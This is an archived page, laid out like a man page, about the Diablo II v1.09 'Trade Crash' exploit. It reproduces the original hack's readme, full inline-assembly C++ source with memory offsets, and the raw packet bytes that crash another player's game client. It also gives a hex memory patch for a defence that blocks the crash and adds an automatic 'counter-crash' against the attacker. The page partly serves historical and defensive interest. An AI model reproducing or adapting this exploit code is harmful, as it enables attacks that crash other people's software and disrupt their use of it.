NAME
Diablo II Trade Crash Hacks — A collection of memory patches for both executing and defending against the infamous 'Trade Crash' exploit.
METADATA
| Platform: | Diablo II |
| Release: | 2001-10-23 |
| Status: | Archived — binary/source preserved |
SYNOPSIS
TradeCrash.exe
DESCRIPTION
The Trade Crash was an exploit in Diablo II v1.09 that allowed a player to crash the game client of another player by sending malformed or illegal sequences of trade-related packets, most effectively when approaching them in town.
The archive contains:
readme.txt- The original readme file that was distributed with TechWarrior’s utilityTechTradeCrashASM.cpp- C++ source (with inline assembly) for TechWarrior’sTechCrash.exeAntiTradeAndCounter.dat- Defensive patch to block crashes
KEY FEATURES
- Trade Crash — A simple but effective exploit that crashes the client of another player that you get close to in town.
- Anti-Trade Crash V2 — A sophisticated countermeasure that prevents client crashes, identifies the attacker on-screen, and includes an optional “counter-crash” mechanism to retaliate against the malicious player.
NOTES
I discovered this exploit while experimenting with the trade packet flow and shared the details with a few friends in the scene. TechWarrior, who had become notorious with his Hostility hack, built a utility around it and released it publicly, which gave it broader visibility.
It caused a noticeable stir in the community before Blizzard patched it shortly afterward.
In the meantime, I had already developed a countermeasure to protect users from the exploit, and even added a “counter-crash” feature to retaliate against the malicious player. Having the anti-crash was essential for anyone participating in battle.net games with strangers.
There used to be .exe binaries for the original trade crash and my anti-crash version, but I’m only including the .dat files and C++ source code here.
ATTACHMENTS (Browsing /usr/games/hacks/)
TradeCrash v1.0 by TechWarrior & Arsenic:
TradeCrash is a powerful new hack that allows you to crash
other players with a technique that Artemis`Entreri / Arsenic
found recently. As soon as I found out about it and tried it,
I made this little program for ease of crashing. With it you
can target and then crash people who are running away from you
as well as when they're standing still. It is limited to
crashes in town (where you can trade), so hardcore characters
will be safe. It's reasonably user-friendly, and has some
useful and funny messaging functions which you can configure to
say whatever you want to or about targetted players. It has
been tested and verified to work in Win9x, and Win2k, and also
in plain Diablo II, and Diablo II expansion.
Even though it's reasonably self-explanatory looking at the main
screen, I'd still recommend you press the 'Info' button, to
understand precisely how to work it effectively.
This program does no damage to the battle.net servers, and thus
wouldn't be considered a Denial of Service attack (to battle.net
servers at any rate). Still, by using it you are taking upon
yourself any responsibility, or consequence of using it, as it
is still a 'hack'.
My special thanks to Artemis/Arsenic for supplying me with the
essential information on how to bring about a client crash.
I hope you enjoy using this program.
void __declspec(naked) MainHack_ASM()
{
__asm {
jmp ButtonCheck ;0x6FC1A900
jmp CrashPlayer ;(+2)
ButtonCheck:
mov esi, dword ptr [edi+0x08]
xor edx, edx
pushad
cmp esi, 0x39 ;9
je Message9
cmp esi, 0x30 ;0
je Message0
cmp esi, 0xBD ;-
je MessageMinus
cmp esi, 0xBB ;+
je SelectPlayer
cmp esi, 0x08 ;backspace
je TradePlayer
popad
mov ebp, 0x6FACEF99
jmp ebp
Message9:
mov esi, ADDR_MESSAGE9
jmp MessageSend
Message0:
mov esi, ADDR_MESSAGE0
jmp MessageSend
MessageMinus:
mov esi, ADDR_MESSAGEMINUS
MessageSend:
mov ebp, dword ptr [0x6FBB6D84]
mov ebp, dword ptr [ebp]
jmp LetItWork
Search:
mov ebp, dword ptr [ebp+0x80]
LetItWork:
cmp ebp, 00
jne ContinueSearch
mov ebp, ADDR_NAMEERROR
jmp MessageStartsHere
ContinueSearch:
mov edx, dword ptr [ebp+0x10]
mov eax, 0x6FBB5F00
cmp edx, dword ptr [eax]
jne Search
add ebp, 0x66
MessageStartsHere:
mov edi, 0x6FBBCE50
MessageMain:
movzx ax, byte ptr [esi]
cmp ax, 0x00
je NoMore
cmp al, '%'
jne NotName
mov ebx, esi
mov esi, ebp
call TwoByteWords
mov esi, ebx
inc esi
jmp MessageMain
NotName:
mov word ptr [edi], ax
inc esi
add edi, 0x02
jmp MessageMain
NoMore:
mov word ptr [edi], 00
mov edi, 0x6FBBCE50
push edi
call Here
jmp QuitAfterAction
Here:
sub esp, 0x230
mov eax, 0x6FACBF7B
jmp eax
SelectPlayer:
xor ebp, ebp ;Passed the right one
xor esi, esi ;Passed the end once
xor edx, edx ;There's somebody else in the game
mov edi, dword ptr [0x6FBB5F00]
mov eax, dword ptr [0x6FBB6D84]
mov eax, dword ptr [eax]
mov ecx, dword ptr [0x6FBC7578]
mov ecx, dword ptr [ecx+0x8]
cmp dword ptr [edi], 0x00
je FindNumber
Start:
mov eax, dword ptr [eax+0x00000080]
cmp eax, 00
je FindNumber
cmp byte ptr [eax], 0x00
je FindNumber
inc edx //there's somebody else in the game
mov ebx, dword ptr [eax+0x10]
cmp ebx, ecx
je Start //it's you
cmp ebx, dword ptr [edi]
jne Next
inc ebp ;right one
jmp Start
Next:
cmp ebp, 0x00
je Start
mov edi, 0x6FBB5F00
mov dword ptr [edi], ebx
lea esi, dword ptr [eax+0x66] ;success message
mov edi, ADDR_SPACE
call TwoByteWords
NextPart:
mov esi, ADDR_SUCCESSMESSAGE
call TwoByteWords
mov word ptr [edi], 00
jmp MessageToScreen
FindNumber:
mov eax, dword ptr [0x6FBB6D84]
mov eax, dword ptr [eax]
inc ebp ;next valid one is it
inc esi ;Found
mov dword ptr [edi], 00
cmp esi, 0x01
jle Start
EndFail:
mov esi, ADDR_FAILMESSAGE ;source
mov edi, ADDR_SPACE
call TwoByteWords
mov word ptr [edi], 00
MessageToScreen:
mov dl, 01
mov ecx, ADDR_SPACE ;space
mov ebp, 0x6FB21C20
call ebp
QuitAfterAction:
popad
mov ebp, 0x6FACEFD7
jmp ebp
TwoByteWords:
movzx ax, byte ptr [esi]
cmp ax, 0x00
je Return
mov word ptr [edi], ax
inc esi
add edi, 0x02
jmp TwoByteWords
Return:
ret
TradePlayer:
mov ebp, 0x6FBB5F00
mov eax, dword ptr [ebp]
cmp eax, 00
je NoValidPlayer
mov ebp, 0x6FBB5F04
mov byte ptr [ebp], 01
mov esi, ADDR_WALKPACKET
mov edi, ADDR_SPACE
mov ecx, 0x9
repz movsb
mov ebp, ADDR_SPACE
mov word ptr [ebp+5], ax
push 0x9 ;length
push ADDR_SPACE ;offset of packet data
push 0x1
mov ebp, 0x6FC01780
call ebp
mov esi, ADDR_TRADEPACKET
mov edi, ADDR_SPACE
mov ecx, 0x9
repz movsb
mov ebp, ADDR_SPACE
mov word ptr [ebp+5], ax
push 0x9 ;length
push ADDR_SPACE ;offset of packet data
push 0x1
mov ebp, 0x6FC01780
call ebp
jmp QuitAfterAction
NoValidPlayer:
mov esi, ADDR_NOVALIDMESSAGE ;source
mov edi, ADDR_SPACE
call TwoByteWords
mov word ptr [edi], 00
jmp MessageToScreen
CrashPlayer:
mov ecx, 0x6FBB5F04
cmp byte ptr [ecx], 01 ;was trade crash sent
je SendCrash
mov ecx, ADDR_ALWAYSCRASH
cmp byte ptr [ecx], 01 ;are all trades set to crash
jne ReplaceAndReturn
SendCrash:
pushad
mov esi, ADDR_CRASHPACKET
push 0x7 ;length
push esi ;offset of packet data
push 0x1
mov ebp, 0x6FC01780
call ebp
mov ecx, 0x6FBB5F04
mov byte ptr [ecx], 00
popad
ReplaceAndReturn:
mov ecx, 0x6FBC5308
mov eax, dword ptr [ecx]
mov ecx, 0x6FB24EA5
jmp ecx
}
}
long mainAsmOffset=0x6FC1A900;
long lKeyJumpOffset=0x6FACEF94;
long lKeysInTradeOffset1=0x6FB27FC3;
long lKeysInTradeOffset2=0x6FB28509;
long lTradeCrashOffset=0x6FB24EA0;
char cKeyJumpOld[]={0x8B,0x77,0x08,0x33,0xD2};
char cKeyJumpNew[]={0xE9,0x67,0xB9,0x14,0x00};
char cTradeCrashOld[]={0xA1,0x08,0x53,0xBC,0x6F};
char cTradeCrashNew[]={0xE9,0x5D,0x5A,0x0F,0x00};
char cKeysInTrade1New[]={0x90,0x90};
char cKeysInTrade1Old[]={0x33,0xC9};
char cKeysInTrade2New[]={0xEB,0x4F};
char cKeysInTrade2Old[]={0xA1,0x64};
char szTradePacket[]={0x13,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
char szWalkPacket[]={0x13,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
char szCrashPacket[]={0x4F,0x07,0x00,0x00,0x00,0x00,0x00};start v1.09 Anti Trade Crash V2 Final - Written By Arsenic
#Check if someone attempted to crash us, if so send back accept trade packet
#and bCrash = true
6ff64a60 66f745fc1008 e89b08010090
6ff75300 00000000000000000000000000000000 3d020000007543b82A53f76f60e821c9
6ff75310 00000000000000000000000000000000 b3ff8b155453f76f8bc82bca81f9c409
6ff75320 00000000000000000000000000000000 00007225a35453f76fc6055053f76f01
6ff75330 00000000000000000000000000000000 66be02006a07686053f76f6a01e83ec4
6ff75340 0000000000000000000000 c8ff664e6685f675eb61c3
#Accept trade packet
6ff75360 00000000000000 4f030000000000
#Trade packet
6ff75370 000000000000000000 130000000000000000
#Crash packet
6ff75380 00000000000000 4f070000000000
#Recv Packet Checks
#--------------------------
#- Packet 7700 = Asking someone to trade -> Send crash packet
#- Packet 770c = Trade screen closed -> send back ask to trade packet
#- Packet 78 = Other player infos when trading -> call :SomeoneTriedToCrashUs - Get other plr name and slot
#--------------------------
6fc0166f 8bfdc1e902 e8894f0000
6fc065fd 00000000000000000000000000000000 803d5053f76f01753d6066813b770c75
6fc0660d 00000000000000000000000000000000 0e6a09685d68c06f6a01e864b1ffff66
6fc0661d 00000000000000000000000000000000 813b770075156a07688053f76f6a01e8
6fc0662d 00000000000000000000000000000000 4fb1ffffc6055053f76f00803b787505
6fc0663d 000000000000000000000000 e81b000000618bfdc1e902c3
# " has tried to crash you"
6fc0675d ** 2068617320747269656420746f20637261736820796f7500
# "Attempting to counter crash..."
6fc0677d ** 417474656d7074696e6720746f20636f756e7465722063726173682e2e2e00
#Someone tried to crash us - Count and copy name string
6fc0665d 00000000000000000000000000000000 6033c941803c0b0075f9498d7301bf5d
6fc0666d 0000000000 68c06ff3a4
#Someone tried to crash us - Print who tried to crash us and counter crash messages
6fc06672 00000000000000000000000000000000 6a1859be5d67c06ff3a46a13685d68c0
6fc06682 00000000000000000000000000000000 6fe878000000803d5253f76f0175276a
6fc06692 00000000000000000000000000000000 0f687d67c06fe8630000006a0959be70
6fc066a2 00000000000000000000000000000000 53f76fbf5d68c06ff3a48d43118b00a3
6fc066b2 00000000000000000000000000000000 6268c06feb07c6055053f76f006a0768
6fc066c2 00000000000000000000000000 6053f76f6a01e8b3b0ffff61c3
#Print messages to screen routine
6fc06700 00000000000000000000000000000000 8bec68000100008b5504b9ad68c06fff
6fc06710 00000000000000000000000000000000 156ccbb66f8a5508b9ad68c06fe8feb4
6fc06720 0000000000 f1ffc20800
#Counter crash boolean - 01 = Counter Crash
6ff75352 00 01
endSEE ALSO
- d2-anti-trade-counter(7) — How to detect, block, and counter-crash the Diablo II trade crash exploit — design walkthrough and annotated ASM source.
TECHNOLOGIES
- Network Protocol
- Packet Manipulation
- Exploit Development